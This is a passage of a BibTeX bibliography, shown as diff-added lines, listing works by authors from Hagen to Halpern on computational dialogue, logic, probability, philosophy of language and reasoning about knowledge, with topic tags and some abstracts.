{Interactive Spoken Dialog Systems: Bridging + Speech and {NLP} Together in Real Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Julia Hirschberg and Candace Kamm and Marilyn Walker}, + pages = {53--56}, + address = {New Brunswick, New Jersey}, + topic = {computational-dialogue;mixed-initiative-systems; + discourse-planning;} + } + +@incollection{ hagen-popowich:2000a, + author = {Eli Hagen and Fred Popowich}, + title = {Flexible Speech Act Based Dialogue Management}, + booktitle = {Proceedings of the First {SIGdial} Workshop on Discourse + and Dialogue}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Laila Dybkjaer and Koiti Hasida and David Traum}, + pages = {131--140}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;speech-acts;} + } + +@incollection{ hagert-waern:1985a, + author = {G. Hagert and Y. Waern}, + title = {On Implicit Assumptions in Reasoning}, + booktitle = {Reasoning and Discourse Processes}, + publisher = {Academic Press}, + year = {1985}, + editor = {Terry Myers and Keith Brown and Brendan McGonigle}, + pages = {93--115}, + address = {New York}, + topic = {pragmatic-reasoning;} + } + +@book{ hahn:1998a, + editor = {Lewis E. Hahn}, + title = {The Philosophy of {P}.{F}. {S}trawson}, + publisher = {Open Court}, + year = {1998}, + address = {Chicago}, + ISBN = {0812693779 (hardcover)}, + topic = {analytic-philosophy;} + } + +@book{ hahn_le:1998a, + editor = {L.E. Hahn}, + title = {The Philosophy of {P}.{F}. {S}trawson}, + publisher = {Open Court}, + year = {1998}, + address = {LaSalle, Illinois}, + xref = {Review: bezuidenhout:2001a.}, + topic = {Strawson;analytic-philosophy;philosophy-of-language;} + } + +@inproceedings{ hahn_u-strube:1997a, + author = {Udo Hahn and Michael Strube}, + title = {Centered Segmentation: Scaling up the Centering Model + to Global Discourse Structure}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {104--111}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {discourse-structure;anaphora-resolution;centering;anaphora;} + } + +@inproceedings{ hahn_u-schnattinger:1998a, + author = {Udo Hahn and Klemens Schnattinger}, + title = {A Text Understander that Learns}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {476--482}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {machine-learning;text-understanding;} + } + +@book{ hahnle:1993a, + editor = {Reiner H\"ahnle}, + title = {Automated Deduction in Multiple-Valued Logics}, + publisher = {Oxford University Press}, + year = {1993}, + address = {Oxford}, + ISBN = {0198539894 (Hbk.)}, + topic = {multi-valued-logic;theorem-proving;} + } + +@article{ haigh-balch:2000a, + author = {Karen Zitka Haigh and Tucker Balch}, + title = {{AAAI-98} Robot Exhibition}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {1}, + pages = {67--76}, + topic = {robotics;} + } + +@article{ haik:1987a, + author = {Isabelle Ha\"ik}, + title = {Bound {VP}s That Need to Be}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {10}, + number = {4}, + pages = {503--530}, + topic = {VP-ellipsis;government-binding-theory;} + } + +@article{ hailperin:1961a, + author = {Theodore Hailperin}, + title = {A Complete Set of Axioms for Logical Formulas Invalid in Some + Finite Domain}, + journal = {{Z}eitschrift {f}\"ur {M}athematische {L}ogik and + {G}rundlagen {d}er {M}athematik}, + year = {1961}, + volume = {7}, + pages = {84--96}, + xref = {Review: Mostowski in JSL 27, pp. 108--109.}, + missinginfo = {number.}, + topic = {mathematical-logic;axiomatizing-invalidities;} + } + +@book{ hailperin:1982a, + author = {B.T. Hailperin}, + title = {Verifying Concurrent Processes Using Temporal Logic}, + publisher = {Springer-Verlag}, + year = {1982}, + number = {129}, + series = {Lecture Notes in Computer Science}, + address = {Berlin}, + missinginfo = {A's 1st name.}, + topic = {temporal-logic;distributed-systems;} + } + +@article{ hailperin:2000a, + author = {Theodore Hailperin}, + title = {Probability Semantics for Quantifier Logic}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {2}, + pages = {207--239}, + topic = {probability-semantics;} + } + +@article{ hailperin:2001a, + author = {Theodore Hailperin}, + title = {Potential Infinite Models and Ontologically Neutral Logic}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {1}, + pages = {79--96}, + topic = {substitutional-quantification;} + } + +@article{ hailpern:1985a, + author = {B.T. Hailperin}, + title = {A Simple Protocol Whose Proof Isn't}, + journal = {{IEEE} Transactions on Communications}, + year = {1985}, + volume = {COM-33}, + number = {4}, + pages = {330--337}, + missinginfo = {A's 1st name, number}, + topic = {communication-protocols;} + } + +@unpublished{ haiman:1984a, + author = {John Haiman}, + title = {Constraints on the Form and Meaning of the Protasis}, + year = {1984}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a guess.}, + topic = {conditionals;} + } + +@incollection{ haiman:1986a, + author = {John Haiman}, + title = {Constraints on the Form and Meaning of the Protasis}, + booktitle = {On Conditionals}, + publisher = {Cambridge University Press}, + year = {1986}, + editor = {Elizabeth Traugott and Alice {ter Meulen} and Judy Reilly}, + pages = {215--228}, + address = {Cambridge, England}, + topic = {conditionals;} + } + +@incollection{ haimerl:1997a, + author = {Edgar Haimerl}, + title = {A Database Application for the Generation + of Phonetic Atlas Maps}, + booktitle = {Linguistic Databases}, + publisher = {{CSLI} Publications}, + year = {1997}, + editor = {John Nerbonne}, + pages = {103--116}, + address = {Stanford, California}, + topic = {linguistic-databases;dialectology;} + } + +@article{ hajek_a:1989a, + author = {Alan H\'ajek}, + title = {Probabilities of Conditionals---Revisited}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {18}, + number = {4}, + pages = {423--428}, + topic = {conditionals;probability;CCCP;} + } + +@incollection{ hajek_a:1994a, + author = {Alan H\'ajek}, + title = {Triviality on the Cheap?}, + booktitle = {Probability and Conditionals: Belief Revision and Rational + Decision}, + publisher = {Cambridge University Press}, + year = {1994}, + pages = {113--140}, + editor = {Ellery Eells and Brian Skyrms}, + address = {Cambridge, England}, + topic = {probability;conditionals;CCCP;} + } + +@incollection{ hajek_a-hall:1994a, + author = {Alan H\'ajek and Ned Hall}, + title = {The Hypothesis of the Conditional Construal of Conditional + Probability}, + booktitle = {Probability and Conditionals: Belief Revision and Rational + Decision}, + publisher = {Cambridge University Press}, + year = {1994}, + pages = {75--111}, + editor = {Ellery Eells and Brian Skyrms}, + address = {Cambridge, England}, + topic = {probability;conditionals;CCCP;} + } + +@article{ hajek_a-harper:1996a, + author = {Alan H\'ajek and Willam Harper}, + title = {Full Belief and Probability: Comments on van {F}raassen}, + journal = {Dialogue}, + year = {1996}, + volume = {36}, + missinginfo = {pages}, + topic = {foundations-of-probability;belief-revision;belief;lottery-paradox;} + } + +@article{ hajek_p:1993a, + author = {Petr H\'ajek}, + title = {Epistemic Entrenchment and Arithmetical Hierarchy}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {62}, + number = {1}, + pages = {79--87}, + acontentnote = {Abstract: + If the underlying theory is sufficiently rich (e.g. like + first-order arithmetic), then no epistemic entrenchment preorder + of sentences is recursively enumerable. Consequently, the set of + all defeasible proofs (determined by such a fixed preorder) is + not recursively enumerable and hence, a fortiori, nonrecursive. + On the other hand there is a satisfactorily rich epistemic + entrenchment preorder < such that < itself, the corresponding + set of defeasible proofs, and the corresponding relation of + defeasible provability are limiting recursive and, consequently, + this type of defeasible provability is closely related to + provability in experimental logics in the sense of Jeroslow. + Relation to the work by Pollock is also discussed. } , + topic = {epistemic-entrenchment;nonmonotonic-logics;} + } + +@book{ hajek_p:1996a, + editor = {Petr H\'ajek}, + title = {G\"odel'96: Logical Foundations of Mathematics, Computer + Science, and Physics--Kurt G\"odel's Legacy}, + publisher = {Springer-Verlag}, + year = {1996}, + address = {Berlin}, + ISBN = {3540614346 (softcover)}, + topic = {Goedel;} + } + +@article{ hajek_p-etal:1996a, + author = {Petr H\'ajek and Lluis Godo and Francesc Esteva}, + title = {A Complete Many-Valued Logic with Product-Conjunction}, + journal = {Archive for Mathematical Logic}, + year = {1996}, + volume = {35}, + pages = {191--208}, + xref = {Review: montagna:2000b.}, + topic = {fuzzy-logic;algebraic-logic;} + } + +@book{ hajek_p:1998a, + author = {Petr H\'ajek}, + title = {Metamathematics of Fuzzy Logic}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + address = {Dordrecht}, + xref = {Review: pelletier:2000a.}, + topic = {fuzzy-logic;} + } + +@article{ hajek_p:2000a, + author = {Petr H\'ajek}, + title = {Review of {\it The Philosophical Computer: Exploratory Essays in + Philosophical Computer Modeling}, by {P}atrick {G}rim and {G}ary + {M}at and {P}aul {St. Denis} and the {G}roup for {L}ogic and {F}ormal + {S}emantics}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {3}, + pages = {347--349}, + xref = {Review of grim-etal:1998a.}, + topic = {philosophy-education;computational-philosophy;} + } + +@article{ hajek_p-etal:2000a, + author = {Petr H\'ajek and Jeff Paris and John Shepardson}, + title = {The Liar Paradox and Fuzzy Logic}, + journal = {Journal of Symbolic Logic}, + year = {2000}, + volume = {65}, + number = {1}, + pages = {339--346}, + topic = {multi-valued-logic;semantic-paradoxes;} + } + +@article{ hajek_p:2001a, + author = {Petr H\'ajek}, + title = {Fuzzy Logic and Arithmetical Hierarchy {III}}, + journal = {Studia Logica}, + year = {2001}, + volume = {68}, + number = {1}, + pages = {129--142}, + topic = {fuzzy-logic;arithmetic-hierarchy;} + } + +@article{ hajek_p:2002a, + author = {Petr H\'ajek}, + title = {A New Small Emendation of {G}\"odel's Ontological Proof}, + journal = {Studia Logica}, + year = {2002}, + volume = {71}, + number = {2}, + pages = {149--164}, + topic = {ontological-argument;Goedel;} + } + +@inproceedings{ hajic-hladka:1998a, + author = {Jan Haji\v{c} and Barbora Hladk\'a}, + title = {Tagging Inflective Languages: Prediction of Morphological + Categories for a Rich Structured Tagset}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {483--490}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {computational-morphology;part-of-speech-tagging; + Czech-language;} +} + +@incollection{ hajicova:1981a, + author = {Eva Haji\v{c}ov\'a}, + title = {A Dependency-Based Parser for Topic + and Focus}, + booktitle = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + editor = {Masaru Tomita}, + pages = {127--138}, + address = {Dordrecht}, + topic = {parsing-algorithms;dependency-grammar;topic;focus;} + } + +@incollection{ hajicova-rosen:1994a, + author = {Eva Haji\v{c}ov\'a and Alexandr Rosen}, + title = {Machine Readable Dictionary as a Source of Grammatical + Information}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {191--199}, + address = {Pisa and Dordrecht}, + topic = {machine-readable-dictionaries;} + } + +@article{ hajnicz:1995a, + author = {Elizabieta Hajnicz}, + title = {Some Considerations on Non-Linear Time Intervals}, + journal = {Journal of Logic, Language, and Information}, + year = {1995}, + volume = {4}, + number = {4}, + pages = {335--357}, + topic = {branching-time;interval-logic;} + } + +@article{ hajnicz:1996a, + author = {Elizabeta Hajnicz}, + title = {Applying {A}llen's Constraint Propagation Algorithm for + Non-Linear Time}, + journal = {Journal of Logic, Language, and Information}, + year = {1996}, + volume = {5}, + number = {2}, + pages = {157--175}, + title = {Some Considerations on Branching Areas of Time}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {1}, + pages = {17--43}, + topic = {branching-time;tmix-project;continuous-branching-time;} + } + +@article{ hakutani-hargis:1972a, + author = {Y. Hakutani and C.H. Hargis}, + title = {The Syntax of Modal Constructions in {E}nglish}, + journal = {Lingua}, + year = {1972}, + volume = {30}, + pages = {301--332}, + missinginfo = {A's 1st name, number}, + topic = {modal-auxiliaries;English-language;nl-syntax;} + } + +@article{ halbach:1997a, + author = {Volker Halbach}, + title = {Tarskian and {K}ripkean Truth}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {26}, + number = {1}, + pages = {69--80}, + topic = {truth;} + } + +@article{ halbach:1999a, + author = {Volker Halbach}, + title = {Conservative Theories of Classical Truth}, + journal = {Studia Logica}, + year = {1999}, + volume = {62}, + number = {2}, + pages = {353--370}, + topic = {truth;cut-free-deduction;} + } + +@article{ halbach:2001a, + author = {Volker Halbach}, + title = {Editorial Introduction}, + journal = {Studia Logica}, + year = {2001}, + volume = {68}, + number = {1}, + note = {This is an introduction to a special issue on methods for + investigating self-referential theories of truth.}, + pages = {3--20}, + topic = {truth;semantic-paradoxes;fixpoints;} + } + +@article{ halbach:2001b, + author = {Volker Halbach}, + title = {Disquotational Truth and Analyticity}, + journal = {Journal of Symbolic Logic}, + year = {2001}, + volume = {66}, + number = {4}, + pages = {1959--1973}, + topic = {truth;analyticity;} + } + +@article{ halbasch_k:1971a, + author = {Keith Halbasch}, + title = {A Critical Examination of {R}ussell's View of Facts}, + journal = {No\^us}, + year = {1971}, + volume = {5}, + number = {4}, + pages = {395--409}, + topic = {Russell;philosophical-ontology;facts;} + } + +@incollection{ hale:1971a, + author = {Kenneth Hale}, + title = {A Note on the {W}albiri Tradition of Antonymy}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {472--482}, + address = {Cambridge, England}, + topic = {Australian-languages;antonymy;} + } + +@book{ hale_b-wright_c:1997a, + editor = {Bob Hale and Crispin Wright}, + title = {A Companion to the Philosophy of Language}, + publisher = {Blackwell}, + year = {1997}, + address = {Oxford}, + contentnote = {TC: + 1. David Wiggins, "Meaning and Truth Conditions: From + Frege's Grand Design to Davidson's" + 2. John Skorupski, "Meaning, use, verification" + 3. Anita Avramides, "Intention and convention" + 4. Charles Travis, "Pragmatics" + 5. Barry Loewer, "Guide to Naturalizing Semantics" + 6. Edward Craig, "Meaning and Privacy" + 7. Alexander Miller, "Tacit Knowledge" + 10. Jane Heal, "Interpretation" + 11. Mark Richard, "Propositional Attitudes" + 12. Christopher Peacocke, "Holism" + 13. Richard Moran, "Metaphor" + 14. Bob Hale, "Realism and its oppositions " + 15. Ralph C.S. Walker, "Theories of truth" + 16. Paul Artin Boghossian, "Analyticity" + 17. Bob Hale, "Rule-Following, Objectivity and Meaning" + 18. Crispin Wright, "Indeterminacy of Translation" + 19. Bob Hale and Crispin Wright, "Putnam's Model-Theoretic + Argument against Metaphysical Realism" + 20. R.M. Sainsbury and Timothy Williamson, "Sorites" + 21. Bob Hale, "Modality" + 22. Graeme Forbes, "Essentialism" + 23. Robert Stalnaker, "Reference and Necessity" + 24. Jason Stanley, "Names and Rigid Designation", pp. 555--583 + 25. John Perry, "Indexicals and Demonstratives" + 26. E.J. Lowe, "Objects and Criteria of Identity" + 27. Harold Noonan, "Relative Identity"}, + ISBN = {0631167579}, + topic = {philosophy-of-language;} + } + +@book{ hale_k:1981a, + author = {Ken Hale}, + title = {On the Position of {W}albiri in a Typology of the Base}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {Walbiri-language;universal-grammar;} + } + +@incollection{ hale_k-keyser:1992a, + author = {Ken Hale and {Samuel Jay} Keyser}, + title = {The Syntactic Character of Thematic Structure}, + booktitle = {Thematic Structure: Its Role in Grammar}, + publisher = {Foris Publications}, + year = {1992}, + editor = {Iggy M. Roca}, + pages = {107--143}, + address = {Berlin}, + topic = {thematic-roles;argument-structure;} + } + +@article{ hale_k:1999a, + author = {Ken Hale}, + title = {A Response to {F}odor and {LePore}, `Impossible + Words?'}, + journal = {Linguistic Inquiry}, + year = {1999}, + volume = {30}, + number = {3}, + pages = {453--466}, + xref = {Criticism, discussion of: fodor_ja-lepore:1996a.}, + topic = {lexical-semantics;} + } + +@incollection{ hall_n:1994a, + author = {Ned Hall}, + title = {Back in the {CCCP}}, + booktitle = {Probability and Conditionals: Belief Revision and Rational + Decision}, + publisher = {Cambridge University Press}, + year = {1994}, + pages = {141--160}, + editor = {Ellery Eells and Brian Skyrms}, + address = {Cambridge, England}, + topic = {probability;primitive-conditional-probability; + nonstandard-probability;} + } + +@article{ hall_n:2000a, + author = {Ned Hall}, + title = {Causation and the Price of Transitivity}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {4}, + pages = {198--222}, + topic = {causality;} + } + +@article{ hall_n:2002a, + author = {Ned Hall}, + title = {Non-Locality on the Cheap? A New Problem for Counterfactual + Analyses of Causation}, + journal = {No\^us}, + year = {2002}, + volume = {36}, + number = {2}, + pages = {276--294}, + topic = {conditionals;causality;} + } + +@article{ hall_rp:1987a, + author = {Rogers P. Hall}, + title = {Computational Approaches to Analogical Reasoning: A + Comparative Analysis}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {39}, + number = {1}, + pages = {39--120}, + topic = {analogy;analogical-reasoning;} + } + +@article{ hallam-malcolm:1994a, + author = {J.C.T. Hallam and C.A. Malcolm}, + title = {Behaviour: Perception, + Action and Intelligence---The View from Situated + Robotics}, + journal = {Philosophical Transactions of the Royal Society, Series A: + Physical Sciences and Engineering}, + year = {1994}, + volume = {349}, + number = {1689}, + pages = {9--42}, + note = {Available at http://www.jstor.org/journals/09628428.html}, + topic = {philosophy-AI;cognitive-architectures;robotics; + agent-environment-interaction;minimalist-AI; + foundations-of-cognitive-science;} + } + +@incollection{ halle:1990a, + author = {Morris Halle}, + title = {Phonology}, + booktitle = {Language: An Invitation to Cognitive Science, + Vol. 1.}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {43--68}, + address = {Cambridge, Massachusetts}, + topic = {phonology;} + } + +@article{ halliday_d:1975a, + author = {David Halliday}, + title = {Left-Branch {NP}'s in {E}nglish: A Bar Notation Analysis}, + journal = {Linguistic Analysis}, + year = {1975}, + volume = {1}, + number = {3}, + pages = {279--296}, + topic = {X-bar;phrase-structure-syntax;} + } + +@book{ halliday_m-hasan:1976a, + author = {M.A.K. Halliday and Ruqaiya Hasan}, + title = {Cohesion in {E}nglish}, + publisher = {Longman}, + year = {1976}, + address = {London}, + topic = {discourse-coherence;pragmatics;} +} + +@book{ halliday_m:1985a, + author = {Michael A. K. Halliday}, + title = {An Introduction to Functional Grammar}, + publisher = {Edward Arnold}, + year = {1985}, + address = {London}, + topic = {functional-grammar;} + } + +@techreport{ halpern:1983a, + author = {Joseph Y. Halpern}, + title = {A Logic to Reason about Likelihood}, + institution = {IBM Research Division}, + number = {RJ 4136 (45774)}, + year = {1983}, + address = {A Logic to Reason about Likelihood}, + topic = {probabilistic-reasoning;probability;} + } + +@article{ halpern-reif:1983a, + author = {Joseph Y. Halpern and John H. Reif}, + title = {The Propositional Logic of Deterministic, Well-Structured + Programs}, + journal = {Theoretical Computer Science}, + year = {1983}, + volume = {27}, + pages = {127--165}, + missinginfo = {number}, + topic = {theory-of-programming-languages;} + } + +@techreport{ halpern-mcallester:1984a, + author = {Joseph Y. Halpern and David A. McAllester}, + title = {Likelihood, Probability, and Knowledge}, + institution = {{IBM} Research Laboratory}, + number = {RJ 4313}, + year = {1984}, + address = {San Jose, California}, + topic = {branching-time;probability;} + } + +@inproceedings{ halpern-moses_y:1984a1, + author = {Joseph Y. Halpern and Yoram Moses}, + title = {Towards a Theory of Knowledge and Ignorance}, + booktitle = {Proceedings of the {AAAI} Workshop on Non-Monotonic + Logic}, + year = {1984}, + pages = {125--143}, + organization = {{AAAI}}, + missinginfo = {editor, publisher, address}, + xref = {halpern-moses_y:1984a2}, + topic = {epistemic-logic;reasoning-about-knowledge;} + } + +@incollection{ halpern-moses_y:1984a2, + author = {Joseph Y. Halpern and Yoram Moses}, + title = {Towards a Theory of Knowledge and Ignorance}, + booktitle = {Logics and Models of Concurrent Systems}, + publisher = {Springer-Verlag}, + year = {1985}, + editor = {Krzysztof R. Apt}, + pages = {459--476}, + address = {Berlin}, + xref = {halpern-moses_y:1984a1}, + topic = {epistemic-logic;reasoning-about-knowledge;} + } + +@unpublished{ halpern-shoham_y1:1984a, + author = {Joseph Y. Halpern and Yoav Shoham}, + title = {A Propositional Modal Interval Logic}, + year = {1984}, + note = {Unpublished manuscript, IBM ALmaden Research Center}, + topic = {temporal-logic;modal-logic;tmix-project;} + } + +@techreport{ halpern-moses_y:1985a, + author = {Joseph Y. Halpern and Yoram Moses}, + title = {A Guide to the Modal Logic of Knowledge and Belief}, + institution = {{IBM} Research Laboratory}, + number = {RJ 4753}, + year = {1985}, + address = {San Jose, California}, + topic = {epistemic-logic;} + } + +@book{ halpern:1986a, + editor = {Joseph Y. Halpern}, + title = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference ({TARK} 1986)}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + year = {1986}, + address = {Los Altos, California}, + topic = {reasoning-about-knowledge;epistemic-logic;} + } + +@inproceedings{ halpern:1986b, + author = {Joseph Y. Halpern}, + title = {Reasoning about Knowledge: An Overview}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {1--17}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {reasoning-about-knowledge;epistemic-logic;} + } + +@book{ halpern:1986c, + editor = {Joseph Y. Halpern}, + title = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference ({TARK} 1986)}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + year = {1986}, + address = {Los Altos, California}, + topic = {reasoning-about-knowledge;epistemic-logic;} + } + +@inproceedings{ halpern-vardi:1986a, + author = {Joseph Y. Halpern and Moshe Y. Vardi}, + title = {The Complexity of Reasoning about Knowledge and Time}, + booktitle = {Proceedings of the Eighteenth Annual {ACM} Symposium on + Theory of Computing}, + year = {1986}, + pages = {304--315}, + organization = {{ACM}}, + missinginfo = {Editor, Publisher, Address}, + topic = {algorithmic-complexity;epistemic-logic;} + } + +@article{ halpern-rabin:1987a, + author = {Joseph Y. Halpern and Michael O. Rabin}, + title = {A Logic to Reason about Likelihood}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {32}, + number = {3}, + pages = {379--405}, + acontentnote = {Abstract: + We present a logic LL which uses a modal operator L to help + capture the notion of being likely. Despite the fact that + likelihood is not assigned quantitative values through + probabilities, LL captures many of the properties of likelihood + in an intuitively appealing way. We give a possible-worlds style + semantics to LL, and, using standard techniques of modal logic, + we give a complete axiomatization for LL and show that + satisfiability of LL formulas can be decided in exponential + time. We discuss how the logic might be used in areas such as + medical diagnosis, where decision making in the face of + uncertainties is crucial. We conclude by using LL to give a + formal proof of correctness of some aspects of a protocol for + exchanging secrets. } , + topic = {probability-semantics;probabilistic-reasoning;} + } + +@inproceedings{ halpern:1988a, + author = {Joseph Y. Halpern}, + title = {Reasoning about Knowledge: A Tutorial}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {161}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {epistemic-logic;reasoning-about-knowledge;protocol-analysis;} + } + +@inproceedings{ halpern-vardi:1988c, + author = {Joseph Y. Halpern and Moshe Y. Vardi}, + title = {The Complexity of Reasoning about Knowledge and Time + in Asynchonous Systems}, + booktitle = {Proceedings of the Twentieth Annual {ACM} Symposium on + Theory of Computing}, + year = {1986}, + pages = {53--65}, + organization = {{ACM}}, + missinginfo = {Editor, Publisher, Address}, + topic = {algorithmic-complexity;epistemic-logic;distributed-systems;} + } + +@article{ halpern-fagin:1989a, + author = {Joseph Y. Halpern and Ronald Fagin}, + title = {Modelling Knowledge and Action in Distributed Systems}, + journal = {Distributed Computing}, + year = {1989}, + volume = {3}, + number = {4}, + pages = {159--179}, + topic = {distributed-systems;protocol-design;} + } + +@article{ halpern-moses_y:1989a, + author = {Joseph Y. Halpern and Yoram Moses}, + title = {Taken by Surprise: The Paradox of the Surprise Test + Revisited}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {15}, + number = {3}, + pages = {281--304}, + topic = {surprise-examination-paradox;} + } + +@article{ halpern-vardi:1989a, + author = {Joseph Y. Halpern and Moshe Y. Vardi}, + title = {The Complexity of Reasoning about Knowledge and Time {I}: + Lower Bounds}, + journal = {Journal of Computer and System Sciences}, + year = {1989}, + volume = {38}, + number = {1}, + pages = {195--237}, + topic = {algorithmic-complexity;epistemic-logic;distributed-systems;} + } + +@techreport{ halpern:1990a, + author = {Joseph Y. Halpern}, + title = {A Note on Knowledge-Based Protocols and Specifications}, + institution = {{IBM} Research Laboratory}, + number = {RJ 8454}, + year = {1990}, + address = {San Jose, California}, + topic = {protocol-analysis;epistemic-logic;} + } + +@article{ halpern:1990b, + author = {Joseph Y. Halpern}, + title = {An Analysis of First-Order Logics of Probability}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {46}, + number = {3}, + pages = {311--350}, + acontentnote = {Abstract: + We consider two approaches to giving semantics to first-order + logics of probability. The first approach puts a probability on + the domain, and is appropriate for giving semantics to formulas + involving statistical information such as ``The probability that + a randomly chosen bird flies is greater than 0.9''. The second + approach puts a probability on possible worlds, and is + appropriate for giving semantics to formulas describing degrees + of belief such as ``The probability that Tweety (a particular + bird) flies is greater than 0.9''. We show that the two + approaches can be easily combined, allowing us to reason in a + straightforward way about statistical information and degrees of + belief. We then consider axiomatizing these logics. In general, + it can be shown that no complete axiomatization is possible. We + provide axiom systems that are sound and complete in cases where + a complete axiomatization is possible, showing that they do + allow us to capture a great deal of interesting reasoning about + probability. + } , + topic = {probability-semantics;} + } + +@inproceedings{ halpern-etal:1990a, + author = {Joseph Y. Halpern and Yoram Moses and O. Waarts}, + title = {A Characterization of Eventual {B}yzantine Agreement}, + booktitle = {Proceedings of the Ninth {ACM} Symposium on + Principles of Distributed Computing}, + year = {1990}, + pages = {333--346}, + missinginfo = {editor, publisher}, + topic = {Byzantine-agreement;communication-protocols;} + } + +@inproceedings{ halpern-fagin:1990a, + author = {Joseph Y. Halpern and Ronald Fagin}, + title = {Two Views of Belief: Belief as Generalized Probability and + Belief as Evidence}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dietterich and William Swartout}, + pages = {112--119}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + xref = {Journal publication: halpern-fagin:1992a.}, + topic = {belief-revision;probabilistic-reasoning;belief;} + } + +@article{ halpern-moses_y:1990a, + author = {Joseph Y. Halpern and Yoram Moses}, + title = {Knowledge and Common Knowledge in a Distributed + Environment}, + journal = {Journal of the {ACM}}, + year = {1990}, + volume = {37}, + number = {3}, + pages = {549--587}, + topic = {epistemic-logic;mutual-belief;distributed-systems;} + } + +@incollection{ halpern-vardi:1991a1, + author = {Joseph Y. Halpern and Moshe Y. Vardi}, + title = {Model Checking Versus Theorem Proving: A Manifesto}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {325--334}, + address = {San Mateo, California}, + xref = {halpern-vardi:1991a1}, + topic = {kr;kr-course;theorem-proving;model-checking;} + } + +@incollection{ halpern-vardi:1991a2, + author = {Joseph Y. Halpern and Moshe W. Vardi}, + title = {Model Checking Versus Theorem Proving: A Manifesto}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {151--176}, + address = {San Diego}, + topic = {kr;kr-course;theorem-proving;model-checking;} + } + +@article{ halpern-fagin:1992a, + author = {Joseph Y. Halpern and Ronald Fagin}, + title = {Two Views of Belief: Belief as Generalized Probability and + Belief as Evidence}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {54}, + number = {3}, + pages = {275--317}, + acontentnote = {Abstract: + Belief functions are mathematical objects defined to satisfy + three axioms that look somewhat similar to the Kolmogorov axioms + defining probability functions. We argue that there are (at + least) two useful and quite different ways of understanding + belief functions. The first is as a generalized probability + function (which technically corresponds to the inner measure + induced by a probability function). The second is as a way of + representing evidence. Evidence, in turn, can be understood as a + mapping from probability functions to probability functions. It + makes sense to think of updating a belief if we think of it as a + generalized probability. On the other hand, it makes sense to + combine two beliefs (using, say, Dempster's rule of combination) + only if we think of the belief functions as representing + evidence. Many previous papers have pointed out problems with + the belief function approach; the claim of this paper is that + these problems can be explained as a consequence of confounding + these two views of belief functions. } , + xref = {Conference publication: halpern-fagin:1990a.}, + topic = {belief-revision;probabilistic-reasoning;belief;} + } + +@article{ halpern-moses_y:1992a, + author = {Joseph Y. Halpern and Yoram Moses}, + title = {A Guide to Completeness and Complexity for Modal Logics + of Knowledge and Belief}, + journal = {Artificial Intelligence}, + 